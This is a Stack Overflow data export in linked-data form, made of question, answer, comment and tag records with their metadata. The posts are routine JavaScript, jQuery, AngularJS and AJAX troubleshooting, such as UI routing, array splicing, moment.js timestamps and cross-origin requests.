linked to: http://stackoverflow.com/q/24745908
has body: I have a list of items where ideally, upon clicking the item, would bring me to the post itself. I dont know how to have that..I tried ng-click within the header but i think the route itself isnt working. For testing purposes, I have used a line where the work VIEW, upon clicking should lead to the function above. My suspect is the problem lies with the app.js states and how I define it in the $state.go. Appreciate any help. Many thanks! The main list html <ion-view ng-controller="NavCtrl"> VIEW The js file using 'tab.view' doesnt work. $scope.view = function() { $state.go('tab.posts.view', {postId: postId}); }; The app.js state file .state('tab.posts', { url: '/posts', views: { 'tab-posts': { templateUrl: 'templates/tab-posts.html', controller: 'PostsCtrl' .state('tab.posts.view', { url: '/:postId', views: { 'tab-posts':{ templateUrl: 'templates/tab-showpost.html', controller: 'PostViewCtrl'
score: 1
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25593458
tagged with: javascript
tagged with: ionic-framework
downvote count: 0
answer count: 1

scrollto
tags question: http://stackoverflow.com/q/25638109
type: Tag
tag name: scrollto

http://stackoverflow.com/comment/40151541
has text: I'm not sure I understand what you're looking for. In any case, it's a separate question from the one you've already asked here.
type: Comment
comment on: http://stackoverflow.com/a/25688027
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40000825
has text: Can you share the actual url used?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25598729

http://stackoverflow.com/a/25713293
answers question: http://stackoverflow.com/q/25688746
has body: I created a new js function: function showDiv(divName){ //alert(divName); div = document.getElementById(divName); div.style.display="block"; } and used the following for my php implementation: echo 'Summary ' . $row['datasummary'] . ' '; and my css file: #collapse{ display:none; } #collapse:target{ display:block; } The issue with declaring the location of the collapse.css file was incorrect. I changed the directory to "/sop/style/collapse.css" Thank you for your help.
score: 0
type: Answer

http://stackoverflow.com/q/25596526
has answer: http://stackoverflow.com/a/25596614
favorite count: 0
has comment: http://stackoverflow.com/comment/39982465
score: -3
has body: I had to create a simple calculator to handle basic math problems. I created the calculator using a table, and a text form to hold the solution. Each button is supposed to set the variable inputString equal to the return value of the updateString() function. This is the function that I created to handle the updating of the String with each button press function updateString(p1){ var inputString; inputString += p1; return inputString; }
tagged with: http://stackoverflow.com/tag/html
type: AnsweredQuestion
downvote count: 3
accepted answer: http://stackoverflow.com/a/25596614
has comment: http://stackoverflow.com/comment/39982537
has title: Have to create simple calculator, calculation is done using eval(). I can't figure out how to send the answer to the text box
type: Question
possible better answer: http://stackoverflow.com/a/25596613
has answer: http://stackoverflow.com/a/25596613
tagged with: javascript
answer count: 2
upvote count: 0
tagged with: calculator

jqbootstrapvalidation
type: Tag
tag name: jqbootstrapvalidation
tags question: http://stackoverflow.com/q/25661516
tags question: http://stackoverflow.com/q/25639287

http://stackoverflow.com/a/25582634
downvote count: 0
has body: Decrease i by 1 whenever you splice your var data. Because that means the array list of objects is becoming smaller and so the index position shifts. Since you aren't decreasing by 1, you start with the jason at position 0 and then directly jump to jason at position 2. WHY does this happen? Since you sliced an object in the beginning, your index position shifted like this. First loop: i=0 var data = [ {type:1, owner:"jason"},//position 0 {type:1, owner:"john"},//position 1 {type:2, owner:"jason"},//position 2 {type:2, owner:"alice"},//position 3 {type:2, owner:"bob"},//position 4 {type:2, owner:"clark"},//position 5 {type:1, owner:"david"}//position 6 ] Second loop i=1 var data = [ {type:1, owner:"jason"},//SPLICED {type:1, owner:"john"},// position 0 {type:2, owner:"jason"}, //position 1 {type:2, owner:"alice"},// position 2 {type:2, owner:"bob"},//position 3 {type:2, owner:"clark"},//position 4 {type:1, owner:"david"}//position 5 ]
has comment: http://stackoverflow.com/comment/39956908
type: Answer
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/25582358

http://stackoverflow.com/q/25561604
downvote count: 1
has comment: http://stackoverflow.com/comment/39917707
has comment: http://stackoverflow.com/comment/39917505
has title: how to disable menu using stored values in database
has comment: http://stackoverflow.com/comment/39917369
score: -1
type: Question
has comment: http://stackoverflow.com/comment/39917384
upvote count: 0
answer count: 1
has body: I have made a menu bar using unordered list tag, menu items are actually list items. Is it possible to disable menu items for some specific people? that whenever a person logs into the website, the menu appears according to the level of the person. I'm thinking of storing the level into the database but I'm not sure how to disable the menu items. Home Profile Edit Delete Contact Us This is the rough idea of the menu bar, I have not added the css. I just want to disable the Delete item inside the profile menu to some users.
tagged with: javascript
has comment: http://stackoverflow.com/comment/39917543
has comment: http://stackoverflow.com/comment/39917436
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25561912
tagged with: css
favorite count: 0
has comment: http://stackoverflow.com/comment/39917467
type: UnansweredQuestion

http://stackoverflow.com/q/25600567
has answer: http://stackoverflow.com/a/25600674
has comment: http://stackoverflow.com/comment/39989763
has title: Moment.js always gives "a few seconds ago"
has comment: http://stackoverflow.com/comment/39992914
tagged with: momentjs
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25600674
type: Question
tagged with: javascript
has body: I have this script time.js function changeTime(){ $('p.text-muted').each(function(index, el) { $str = moment($(el).text()).fromNow(); console.log($str); $(el).html('&lt;i class="fa fa-clock-o"&gt;&lt;/i&gt; '+$str); }); } changeTime(); setInterval(update, 1000*60); This is one of the places where I'm calling changeTime(): &lt;p class="small text-muted" id="t&lt;?php echo($tweet['tid']);?&gt;"&gt;&lt;i class="fa fa-clock-o"&gt;&lt;/i&gt; &lt;?php echo($tweet['ttime']); ?&gt;&lt;/p&gt; When changeTime() is called for the first time, the values get set properly. But later on, it gives "a few seconds ago". I understand the problem that on later calls, it becomes a moment('4 days ago'). fromNow() becomes "a few seconds ago". So how do I convert this 4 days ago to actual time and then again call .fromNow()? I couldn't find the exact method. Please help. Thank you :)
score: 0
answer count: 1

http://stackoverflow.com/q/25555611
type: UnansweredQuestion
tagged with: php
linked to: http://stackoverflow.com/q/11678541
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/39933187
has comment: http://stackoverflow.com/comment/39934197
has answer: http://stackoverflow.com/a/25574170
has comment: http://stackoverflow.com/comment/39931948
linked to: http://stackoverflow.com/q/6809053
type: Question
has comment: http://stackoverflow.com/comment/39931064
has comment: http://stackoverflow.com/comment/39910689
has comment: http://stackoverflow.com/comment/39906710
answer count: 2
has comment: http://stackoverflow.com/comment/39933871
has comment: http://stackoverflow.com/comment/39920212
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/39931241
tagged with: ajax
linked to: http://stackoverflow.com/q/20036260
has comment: http://stackoverflow.com/comment/39906368
has title: Difficulty making AJAX requests in a cordova/ratchet mobile application
upvote count: 1
has answer: http://stackoverflow.com/a/25556185
has comment: http://stackoverflow.com/comment/39909958
has body: I was having difficulty getting my AJAX request in my cordova project to work correctly. $.ajax({ url: "https://mydevserver/REST.php?method=mobileGetData", success: function(result){ alert("successful ajax"); }, error: function(xhr, ajaxOptions, thrownError){ alert("error"); alert("xhr.status"); alert(thrownError); } }); The status code printed in the alert with this code is 0 with an empty error message. I thought that that was odd and did some research revealing that the answer was limitations on Cross Site Scripting which could be resolved with CORS. I tried the first answer here and placed the following in my head tag. However this had no impact on the results of running the code. Further down in that same answer it is recommended to add cache: false to the ajax options as well as async: false and so I added those to my code. The result was that instead of a status code of 0 I got a status code 404 for my request. At this point I checked that I hadn't mispelled the URL somehow and tried changing the URL to example.com which also gave a status code of 404. Next I tried that answer's third suggestion which was to use plain javascript's XMLHttpRequest object. var req = new XMLHttpRequest(); req.open("POST", "https://mydevserver/REST.php?method=mobileGetData", true); req.onreadystatechange = function() { if (req.readyState == 4) { if (req.status == 200) { alert("successful ajax"); }else{ alert("Error: " + req.status); } } }; req.send(null); This approach also yielded a status code of 0. Finally some more research revealed that the answer might be JSONP, a workaround for the Cross Site Scripting limitations built into browsers. As per his tutorial I changed my REST function and the AJAX call in my mobile app. REST.php if($_GET['method'] == "mobileGetData"){ $output = array(array("Name" => "Jesse", "NumEntries" => "1")); //the end result of my actual code. I can't really put in the actual SQL queries and whatnot for security reasons $output = $_GET['jsonp_callback'] .…
favorite count: 0
linked to: http://stackoverflow.com/q/14255502
tagged with: cordova

http://stackoverflow.com/comment/40161423
has text: The title of the post would do just fine. That way users can tell by clicking on each marker what point it actually relates to. Do you have any ideas?
comment on: http://stackoverflow.com/a/25669944
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25662448
has answer: http://stackoverflow.com/a/25663575
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40102760
has comment: http://stackoverflow.com/comment/40103156
has body: I have this: Add Weight Range Other functions append inputs and buttons to the form. When the submit button is clicked, a function bound by JQuery appends fields to the form. The form looks like this when populated: Add Weight Range Submit Select a Shipping Method Type Fixed Weight and Location Based Select a Location Country 1 Country 2 Country 3 Select a Region Region 1 Region 2 Region 3 and up to Remove The button[data-action='SubmitForm'] has a function bound to it that uses a JQuery each() function to cycle through all selects and inputs in the form and adds them to two objects - DynamicFormValidationRules for passing to JQuery Validation and DynamicFormAjaxData for the AJAX form post. DynamicFormValidationRules = { "Fieldset1_ShippingMethodDetails_ShippingMethodName": { "required": true }, "Fieldset1_ShippingMethodDetails_ShippingMethodType": { "required": true }, "Fieldset1_ShippingMethodDetails_ShippingMethodCountry": { "required": true }, "Fieldset1_ShippingMethodDetails_ShippingMethodRegion": { "required": true }, "Fieldset2_ShippingMethodWeightRange_LowerWeight": { "required": true }, "Fieldset2_ShippingMethodWeightRange_WeightRangeType": { "required": true }, "Fieldset2_ShippingMethodWeightRange_UpperWeight": { "required": true }, "Fieldset2_ShippingMethodWeightRange_WeightRangePrice": { "required": true } } DynamicFormAjaxData = { ShippingMethodDetails1_Fieldset1_ShippingMethodDetails_ShippingMethodCountry: "" ShippingMethodDetails1_Fieldset1_ShippingMethodDetails_ShippingMethodName: "Express Shipping" ShippingMethodDetails1_Fieldset1_ShippingMethodDetails_ShippingMethodRegion: "" ShippingMethodDetails1_Fieldset1_ShippingMethodDetails_ShippingMethodType: "" ShippingMethodWeightRange2_Fieldset2_ShippingMethodWeightRange_LowerWeight: "" ShippingMethodWeightRange2_Fieldset2_ShippingMethodWeightRange_UpperWeight: "" ShippingMethodWeightRange2_Fieldset2_ShippingMethodWeightRange_WeightRangePrice: "" ShippingMethodWeightRange2_Fieldset2_ShippingMethodWeightRa…
type: Question
has comment: http://stackoverflow.com/comment/40103475
has title: JQuery Validation - dynamic fields seem to break validation
tagged with: jquery-validate
has comment: http://stackoverflow.com/comment/40103329
score: 0
answer count: 1
tagged with: javascript
tagged with: jquery
tagged with: unobtrusive-validation

http://stackoverflow.com/comment/40161418
has text: I would do that, but the problem is that I am facing a issue specifically on PhantomJS. The tests run just fine on chrome and firefox.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25694372

npm
tags question: http://stackoverflow.com/q/25573428
tags question: http://stackoverflow.com/q/25694692
tags question: http://stackoverflow.com/q/25564719
type: Tag
tags question: http://stackoverflow.com/q/25631551
tags question: http://stackoverflow.com/q/25610076
tags question: http://stackoverflow.com/q/25705067
tag name: npm
tags question: http://stackoverflow.com/q/25572252
tags question: http://stackoverflow.com/q/25587485

http://stackoverflow.com/comment/39962015
score: 0
type: Comment
type: QuestionComment
has text: My initial idea was to just use this example you quoted now. To distribute the vertices in parts that would be enough. However, when I consider the strength of the edges, would vertices not pull out of the parts? Maybe I can create a restriction on the formulas that are in the thick function. Thanks a lot for helping me
comment on: http://stackoverflow.com/q/25585061

http://stackoverflow.com/q/25643122
tagged with: javascript
has title: Set cursor position to end of line in text area (HTML, js)
tagged with: http://stackoverflow.com/tag/html
has body: Is there a way to set the position of the cursor to the end of a specific line (more precisely the first line) in a HTML text area with javascript. The text area contains a text with unknown length, but there is at least one line. The length of the first line is also unknown. I am working with jQuery.
has comment: http://stackoverflow.com/comment/40067227
favorite count: 0
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40066846
score: 2
has comment: http://stackoverflow.com/comment/40067084
has answer: http://stackoverflow.com/a/25643716
type: Question
tagged with: textarea
downvote count: 0
answer count: 1

http://stackoverflow.com/comment/113917152
type: AnswerComment
has text: @glen-84 the suffixes are actually internationally standardized.
comment on: http://stackoverflow.com/a/25612036
score: 0
type: Comment

http://stackoverflow.com/comment/39981881
type: Comment
comment on: http://stackoverflow.com/a/25596293
score: 0
type: AnswerComment
has text: This data however is not tied to the model, it's for things such as confirmations like "Your data has been successfully saved.". It doesn't make sense to me to include that in the model.

http://stackoverflow.com/q/25648947
has body: So basically, I'm trying to send some data to a remote PHP page, via POST, with 4 static parameters and one random parameter, a number. So far what I have done is created an HTML page with a form with 4 hidden fields and 1 empty field, in which a random number is inserted as the value via Javascript (using Math.random). Now whenever I submit this form, it takes me to the remote PHP page, and so I have to click back again (in the browser) and then submit. So, I decided to load this form in an iFrame in another HTML Page, so after clicking submit, I can just hit refresh, and then submit again. I want to know, is there a way I can use Javascript in the parent HTML to automatically submit the form in the iFrame, then create a new random value and submit it again? Here is my code so far a.html *some hidden fields with the static values* now this was the form which was to manually send data to the server this is to load an iframe: b.html Can I use javascript in b.html to resend the form multiple times, but with the value of mobile_no different each time? Or can I simply send POST data with the parameters to the server via simple Javascript (or PHP)
tagged with: javascript
has answer: http://stackoverflow.com/a/25649468
tagged with: post
score: 0
answer count: 1
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has title: Sending dynamic POST data with Javascript
tagged with: php
tagged with: forms
type: Question

http://stackoverflow.com/q/25662412
has title: 401 Unauthorized Issue
downvote count: 1
type: Question
tagged with: javascript
tagged with: jquery
tagged with: ajax
answer count: 2
accepted answer: http://stackoverflow.com/a/25662517
has body: I am using the jQuery.get() method $.get('login.php', function(d, textStatus, jqXHR){ //alert(jqXHR.status) var status = jqXHR.status; if((status==200)||(status==202)){ window.location.href = 'dashboard.html'; }else if(status==401){ alert('Error in login details') }else{ alert('Unknown Error') } }); It is working fine. When 200 &amp; 202 , It will rediredt to dashboard page. But Other than 200 &amp; 202, It pass the error in console but doesn't show alert.
favorite count: 0
upvote count: 1
possible better answer: http://stackoverflow.com/a/25662463
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25662463
score: 0
has answer: http://stackoverflow.com/a/25662517

http://stackoverflow.com/q/25667558
has comment: http://stackoverflow.com/comment/40113842
has comment: http://stackoverflow.com/comment/40127217
answer count: 0
score: 0
has body: Im building a chrome extention. Im trying to block the arrows on redditp with the click on a button that only comes up when youa re on the site. The site in question is www.redditp.com. Manifest.json { "name": "Redditp Button Disabler", "version": "0.0.1", "description": "Disable ugly buttons on Redditp. Made by Algy.", "permissions": ["https://redditp.com/"], "manifest_version": 2, "content_scripts": [ { "matches": [ "http://redditp.com/*"], "js": ["main.js"], "run_at": "document_end", "all_frames": true } ] } Main.js document.querySelector('div#nextButton').innerHTML = ''; What have I done to mess it up? At the moment i'm just trying to get it to remove the right arrow, because I assume once I know how to do one, ill be able to remove everything else I need to. When I want it to remove more, can I just put it under the first line of code? Also do I need to do anything to get my icon to show up and execute the code upon click? Thanks Guys.
tagged with: google-chrome
has title: Building a chrome extension- can't get it to block a div
tagged with: javascript
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
type: Question

http://stackoverflow.com/a/25818869
accepted answer of: http://stackoverflow.com/q/25677547
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/25677547
score: 0
has body: I solved my problem with the following formula: var x = (dropped.offset.left - container.offset().left) / container.width This (x) is the result that I save. Now, to recreate: var left = (x * container.width) + container.offset().left;

http://stackoverflow.com/a/25592835
has body: Try using this! $.ajax({ url:"/path/to/your/script/", type: "post", data: //fetch the data which you want to pass }).done(function(status){ //status is the data returned from the script called });
answers question: http://stackoverflow.com/q/25592781
score: 0
upvote count: 2
downvote count: 2
type: Answer
has comment: http://stackoverflow.com/comment/39975648

mason
tag name: mason
type: Tag
tags question: http://stackoverflow.com/q/25686509

http://stackoverflow.com/q/25615687
type: Question
has comment: http://stackoverflow.com/comment/40029153
has comment: http://stackoverflow.com/comment/40022831
accepted answer: http://stackoverflow.com/a/25656258
has body: I'm trying to create custom image to replace the “numbers” of Control-Nav. The result would be something like this Been trying out various different ways to modify the nivo css but it's not working. Adding the follow options doesn't work. .nivo-controlNav a:nth-child(1) { background-image:url(‘image/banner_button.png’); } .nivo-controlNav a:nth-child(2) { background-image:url(‘image/banner_button2.png’); } Neither do these. .nivo-controlNav a { cursor:pointer; width:50px; height:50px; background:url('image/banner_button2.png'); } The image path works as i have sucessfully display images out on my test site. I would only need 2 bullets as i have 2 banner images to display only. Is there any solution to this? Any help would be greatly appreciated!
score: 0
answer count: 1
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40018035
has title: Nivo-Slider for custom Image Bullets
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40017896
tagged with: css
has comment: http://stackoverflow.com/comment/40017956
has answer: http://stackoverflow.com/a/25656258
type: AnsweredQuestion

http://stackoverflow.com/q/25712605
score: 0
has answer: http://stackoverflow.com/a/25712760
answer count: 3
type: UnansweredQuestion
has title: How to enable a button with JavaScript or jQuery
has comment: http://stackoverflow.com/comment/40199041
has answer: http://stackoverflow.com/a/25712635
has body: I am able to successfully disable a button with below syntax . $("#list *").attr("disabled", "disabled").off('click'); However I also need to enable the button at the end of my function.Any pls help me here how to do this.
type: Question
has answer: http://stackoverflow.com/a/25712986
has comment: http://stackoverflow.com/comment/40193888
has comment: http://stackoverflow.com/comment/40193920
tagged with: javascript
has comment: http://stackoverflow.com/comment/40193902
tagged with: jquery

http://stackoverflow.com/q/25655136
has comment: http://stackoverflow.com/comment/40089654
accepted answer: http://stackoverflow.com/a/25655809
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/25655289
tagged with: usage-statistics
tagged with: javascript
tagged with: jquery
score: 0
has title: Convert tracking script to use JQuery by loading tracking URL when a JQuery event occurs
has comment: http://stackoverflow.com/comment/40089504
has body: I'm using a tracking site to get some statistics. They say I should use the code: var trackingstring = new String("&lt;script src=\"http://trackingsite.com/track?C=12345&amp;source=js\" type=\"text/javascript\"&gt;&lt;/script&gt;"); document.write(trackingstring); However I want to trigger a particular site statistic on a JQuery event rather than on page load, so I can't use document.write. I believe there's actually no script to run at the URL, so I tried: var thetrackingURL = "http://trackingsite.com/track?C=12345&amp;source=js"; $.get(thetrackingURL); However that gives me the error: MLHttpRequest cannot load http://trackingsite.com/track?C=12345&amp;source=js. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://example.com' is therefore not allowed access. How can I trigger that URL to be loaded by a JQuery event?
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25655809
has comment: http://stackoverflow.com/comment/40089522
has answer: http://stackoverflow.com/a/25655289

http://stackoverflow.com/comment/40106755
type: Comment
type: QuestionComment
has text: @Jonny5 if I do that it matches to the end of the string.
comment on: http://stackoverflow.com/q/25665095
score: 0

http://stackoverflow.com/a/25560046
score: 1
has body: whatever you write between the tag is the default value for the textarea This is the Default Value This is different for input type=text. In that case you need to use the value attribute
upvote count: 1
answers question: http://stackoverflow.com/q/25559991
type: Answer
downvote count: 0

http://stackoverflow.com/a/25716066
upvote count: 3
accepted answer of: http://stackoverflow.com/q/25680289
has comment: http://stackoverflow.com/comment/75873836
has body: Considering you already had your data sorted, you could do something like this: var data=[ ['George Washington', new Date(1779, 3, 29), new Date(1790, 2, 3)], ['George Washington', new Date(1789, 3, 29), new Date(1797, 2, 3)], ['John Adams', new Date(1797, 2, 3), new Date(1801, 2, 3)], ['Thomas Jefferson', new Date(1801, 2, 3), new Date(1809, 2, 3)], ]; for(var i=1;i&lt;data.length;i++){ // for each row if(data[i-1][0]==data[i][0]){ //if the previous one has the same label if(data[i-1][2] &gt; data[i] [1]){ // if the previous end date is greater than the start date of current row data[i-1][2]=data[i] [1] // set the previous end date to the start date of current row } } } You can view an example here: http://jsfiddle.net/9GbNP/33/
type: Answer
has comment: http://stackoverflow.com/comment/40468726
has comment: http://stackoverflow.com/comment/40230065
downvote count: 0
has comment: http://stackoverflow.com/comment/75860110
has comment: http://stackoverflow.com/comment/40225580
score: 3
has comment: http://stackoverflow.com/comment/40241565
has comment: http://stackoverflow.com/comment/40491376
has comment: http://stackoverflow.com/comment/40204778
has comment: http://stackoverflow.com/comment/40529853
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40279615
answers question: http://stackoverflow.com/q/25680289
has comment: http://stackoverflow.com/comment/40432368
has comment: http://stackoverflow.com/comment/40451827

conflict
tag name: conflict
type: Tag
tags question: http://stackoverflow.com/q/25579870

http://stackoverflow.com/a/27625397
has body: It's crazy the bootstrap docs (3.2) don't make this more obvious, but here's the simplest method I've found to set the initial state of radio buttons in code. &lt;div class="btn-group" data-toggle="buttons"&gt; &lt;label id="optionFalse" class="btn btn-primary"&gt; &lt;input type="radio" name="options" /&gt; false &lt;/label&gt; &lt;label id="optionTrue" class="btn btn-primary "&gt; &lt;input type="radio" name="options" /&gt; true &lt;/label&gt; &lt;/div&gt; if (initTrue) { $('#optionTrue').button('toggle'); } else { $('#optionFalse').button('toggle'); } After reading dozens of posts on this subject, it seems these are the general points of confusion: The 'toggle' method doesn't toggle between states (off->on->off) as one might expect, but rather just sets the referenced button to "on" and turns all the other buttons "off". The id referenced needs to be on the 'label' and not the 'input'.
score: 3
answers question: http://stackoverflow.com/q/25589385
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/43677813
upvote count: 3

http://stackoverflow.com/comment/39928525
comment on: http://stackoverflow.com/q/25565480
has text: Alright, I've been playing around with this for a while now, but I can't seem to grasp the concept. Losing quite a lot of hair for my age over this. I suppose I have to remove the document.getElementById lines and insert a document.createElement(img) instead of those lines. Question is; How do I fill this new element with an image from the array?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/39932996
type: QuestionComment
comment on: http://stackoverflow.com/q/25569700
score: 0
has text: absolutely! This is just the stock code given to me by volusion
type: Comment

http://stackoverflow.com/comment/40052882
type: Comment
has text: I don't think so. I am using the $.get to call out to the .php file and it returns my table row data (here is an example of that data: BACODA Kristi Smith 211.444.2222 ... etc.) I get the data or data_from_ajax variable that contains all my table info (tr, td tags and data) what I want to do is append that text from the data variable after the table row of headers to fill out the rest of the table.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25634824

http://stackoverflow.com/a/25669605
answers question: http://stackoverflow.com/q/25668114
upvote count: 4
downvote count: 0
has comment: http://stackoverflow.com/comment/40121913
has body: Theme Assets All theme assets should be upload directly to Tumblr's CDN, using the static file uploader. Use this to host small files required for custom themes (images, css, javascript). Once uploaded, files cannot be deleted or changed. Link: https://www.tumblr.com/themes/upload_static_file As for using other users links, whilst is possible, its not advised. AFAIK, the assets are stored against a users account. If the users account is removed, the assets may get removed as well.
score: 4
has comment: http://stackoverflow.com/comment/40146000
has comment: http://stackoverflow.com/comment/40145292
type: Answer

http://stackoverflow.com/comment/39938234
comment on: http://stackoverflow.com/a/25572415
type: Comment
score: 0
type: AnswerComment
has text: Yes. It's less for the developer to have to think about.

http://stackoverflow.com/comment/40142474
type: QuestionComment
has text: @bmleite: i am getting this error in the console: http://errors.angularjs.org/1.2.18/ng/areq?p0=CarsByRating&p1=not%20a%20function%2C%20got%20undefined
comment on: http://stackoverflow.com/q/25684304
score: 0
type: Comment

http://stackoverflow.com/comment/39918689
comment on: http://stackoverflow.com/a/25562365
score: 0
type: Comment
has text: (I'm currently using the object method because I can't get the function method to work.)
type: AnswerComment

http://stackoverflow.com/comment/40130515
type: Comment
has text: So if `var foo = {x:1, y:2}; var plusOne = function(x) {return x+1}`, then `_.map(foo, plusOne)` returns `[2,3]`, and `_.mapValues(foo, plusOne)` returns `{x:2, y:3}`.
score: 0
comment on: http://stackoverflow.com/a/25677357
type: AnswerComment

http://stackoverflow.com/comment/39995199
comment on: http://stackoverflow.com/q/25601549
score: 0
has text: Before asking the question, try copypasting exception message in Search/Google.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40134371
comment on: http://stackoverflow.com/a/25679778
has text: @G_S and raheel, I tried your solutions, but I don't know from where I am getting a strange error, which says "Uncaught SyntaxError: Unexpected token ( ". I have no clue why such error pops up. If I use the browser console to see on which line it occurs, then it points to the ending tag of the javascript.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25628590
has body: I have this line in my JS document.getElementById("divtry").innerHTML = jsdat; divtry is my div in HTML and I want the content which will be displayed inside that div (the content will be different from jsdat as the special characters like &amp;lt;br&amp;gt; and other special characters will be converted to HTML equivalent. Ex: &amp;lt;br&amp;gt; will be converted to &lt;br&gt; ) My problem is not yet solved. my Input is this string. asd &amp;lt;br&amp;gt;sp I need the output as below. asd sp I am getting the output as below now. asd &lt;br&gt; sp I tried the below code. document.getElementById("output").innerHTML = jsdat; var jsfin = document.getElementById("output").innerHTML; document.getElementById("o1").value = jsfin; Output &amp; o1 are my 2 div. But I am getting correct output in output while in o1 I'm getting the input text intself. So, my question is, how can I get the contents inside that div divtry and assign it to some variable. Can someone please give me a function which will do that.
has title: copy the content inside a div to a variable
tagged with: javascript
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40041181
has answer: http://stackoverflow.com/a/25628632
linked to: http://stackoverflow.com/q/17214053
type: Question
tagged with: http://stackoverflow.com/tag/html
score: 0
answer count: 1

http://stackoverflow.com/comment/39927111
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25564804
has text: This is possible if you change keyup by keydown or keypress. You then need to add e.preventDefault(); in your if function. See this fiddle http://jsfiddle.net/tgk4rrgL/ If you like this answer please accept it.
score: 0

http://stackoverflow.com/q/25635091
has comment: http://stackoverflow.com/comment/40053414
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40092368
favorite count: 0
tagged with: multidimensional-array
has comment: http://stackoverflow.com/comment/40053444
has body: I'm currently working on a JS-based form processor that takes form fields and defines them as multiple-level objects based on the name= attribute: Using the form2js plugin, it creates an object. In this instance, console.log displays the ui object as follows: http://i58.tinypic.com/2gy9duu.jpg However, whenever I try to access this property in my JS code with anything such as alert(ui.house.occupant.adult.count), it throws the error that house is undefined. You can see: http://i59.tinypic.com/2guz7s7.jpg I'm racking my brain trying to figure out what the problem is. When I use alert(ui.house), it returns a blank alert. This leads me to think that the form2js has not actually properly processed the form data before I try to access it, however I've tried to use things such as setTimeout to no avail. For context, I am loading an external CSV file which pre-populates the form fields with data that users can choose from, hence why the second screenshot is shown inside of an $.ajax function. Thanks! Edit: More complete example of code: Is natural gas available in your street? Yes No Don't know How many people live in your home? Adults: Children: And the complete Ajax function - this pulls in an external CSV and populates the form fields with elements as well as limiting attributes. var ui = new Object; // Load our external spreadsheet containing constants, questions, and other definitions. Format it nicely. $.ajax({ url: "DSD_Master_Constants.csv", async: false, dataType: "text", success: function (csvd) { data = $.csv2Array(csvd); // call a function on complete $.each(data, function(index, rows){ // 0 Constant Type // 1 Constant category // 2 Constant subcategory // 3 // 4 // 5 // 6 // 7 Value (min) // 8 Value (max) // 9 Custom option? (separate with comma) // 10 Custom option value (same sequence) // 11 Unit of measurement // 12 Field type // 13 Helpful tip // 14 Object code if(rows[0] == 'User'){ // Populate User Input Fields var inputf = $("[name='"+rows[14]+"']"); va…
accepted answer: http://stackoverflow.com/a/25656859
has comment: http://stackoverflow.com/comment/40053419
upvote count: 1
type: Question
tagged with: object
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25635269
has answer: http://stackoverflow.com/a/25656859
score: 1
has comment: http://stackoverflow.com/comment/40053156
has title: Javascript: Accessing multi-dimensional object properties
tagged with: forms
answer count: 2
possible better answer: http://stackoverflow.com/a/25635269
has comment: http://stackoverflow.com/comment/40053351
downvote count: 0

http://stackoverflow.com/a/25646532
has comment: http://stackoverflow.com/comment/40102047
type: Answer
score: 34
has comment: http://stackoverflow.com/comment/40107925
downvote count: 0
has comment: http://stackoverflow.com/comment/40073190
answers question: http://stackoverflow.com/q/25646461
upvote count: 34
accepted answer of: http://stackoverflow.com/q/25646461
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40107275
has comment: http://stackoverflow.com/comment/40073800
has body: RegExp is your friend: var p = "\\*\\|", s = "\\|\\*" var reg = new RegExp(p + '(\\d{3,})' + s, 'g') "*|1387461375|* hello *|sfa|* *|3135145|* test".match(reg) The key to making the dynamic regex global is to transform it into a RegExp object, and pass 'g' in as the second argument. Working example.

http://stackoverflow.com/q/25578050
type: Question
answer count: 1
has comment: http://stackoverflow.com/comment/39948827
has body: I have been struggling for quiet sometime now with conversion of file chunks to binary data and have come to this point for(....){ $.when(chunkBinary(chunk[i][j])).done(function(result){ chunkInBinary = result;console.log(chunkInBinary);} ) } Now I want to be able to use the value chunkInBinary outside the done function. Something like this: for(....){ $.when(chunkBinary(chunk[i][j])).done(function(result){ chunkInBinary = result;} ) console.log(chunkInBinary); } Any suggestions on how I can achieve this? My chunkBinary function returns a promise.
tagged with: javascript
tagged with: jquery
score: 0
has comment: http://stackoverflow.com/comment/39948906
linked to: http://stackoverflow.com/q/14220321
tagged with: promise
has comment: http://stackoverflow.com/comment/39948979
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25578171
duplicate of: http://stackoverflow.com/q/14220321
has comment: http://stackoverflow.com/comment/39948807
has title: Forcing $.when to return a variable outside the function
has comment: http://stackoverflow.com/comment/39948835
has comment: http://stackoverflow.com/comment/39948816

http://stackoverflow.com/comment/40171413
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25700483
has text: I want to add text inside the tag

http://stackoverflow.com/comment/39912431
has text: Yeah. Never mind the fact that no one should be making an IE only site. >_<
comment on: http://stackoverflow.com/a/25558468
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/25597494
has comment: http://stackoverflow.com/comment/39984938
